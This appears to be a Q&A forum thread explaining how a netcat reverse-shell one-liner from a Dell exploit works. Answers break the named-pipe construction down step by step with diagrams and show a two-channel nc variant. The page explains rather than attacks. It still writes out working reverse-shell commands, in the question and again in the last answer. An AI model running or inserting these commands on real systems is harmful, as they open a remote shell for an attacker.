In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell :

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f

I understand the part that by creating the fifo pipe and piping it to bash we can send shell commands on that pipe but why pipe it to nc and then redirect command to this pipe again?


This code expects there to be a server (eg. a copy of nc in server mode) listening on port 4444 of When you run it, any output from the server becomes input for the shell; conversely, output from the shell becomes input for the server. Breaking the command down into pieces for easier understanding,

mkfifo /tmp/f;: This creates a named pipe.

cat /tmp/f|/bin/sh -i: This creates an interactive shell on the local machine and hooks the output of the pipe to the shell's input.

2>&1|nc 4444: This takes the output of the shell and sends it over the network to a machine listening on port 4444 at

>/tmp/f: This takes the output of nc (ie. data sent by the remote machine) and sends it to the named pipe's input, where it becomes input for the shell.

In a normal Unix command pipeline, output from earlier commands can become input for later ones, but not vice-versa, and a remote shell could only be unidirectional (you could send commands but not get output, or get output but not send commands). Using a named pipe lets you get around this limit, and create a bidirectional remote shell. If you're geometrically inclined, you can think of a normal pipeline as a straight line, and the named-pipe construct you found as a circle.


This seems to be a reverse shell that creates a local shell (i. e., /bin/sh -i) and sends the output back to (i. e., nc 4444):

+-----------------+      +-----------------------+
| /bin/sh -i 2>&1 |----->| nc 4444 |
+-----------------+      +-----------------------+

Now what’s missing here is the output of the latter command being redirected back as input to the shell. And since the shell pipe | can only pipe the output to the command that is following it, a named pipe/FIFO file is used to connect the loose ends:

+------------+      +-----------------+      +-----------------------+
| cat /tmp/f |----->| /bin/sh -i 2>&1 |----->| nc 4444 |
+------------+      +-----------------+      +-----------------------+
       ^                                                  v
       +------------------ /tmp/f <-----------------------+

By this the output of nc 4444 becomes the input for /bin/sh -i.

If you would want to make this without the named pipe/fifo, you would need two nc channels, one for the shell’s input and one for the shell’s output:

nc 4444 | /bin/sh -i 2>&1 | nc 4445

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.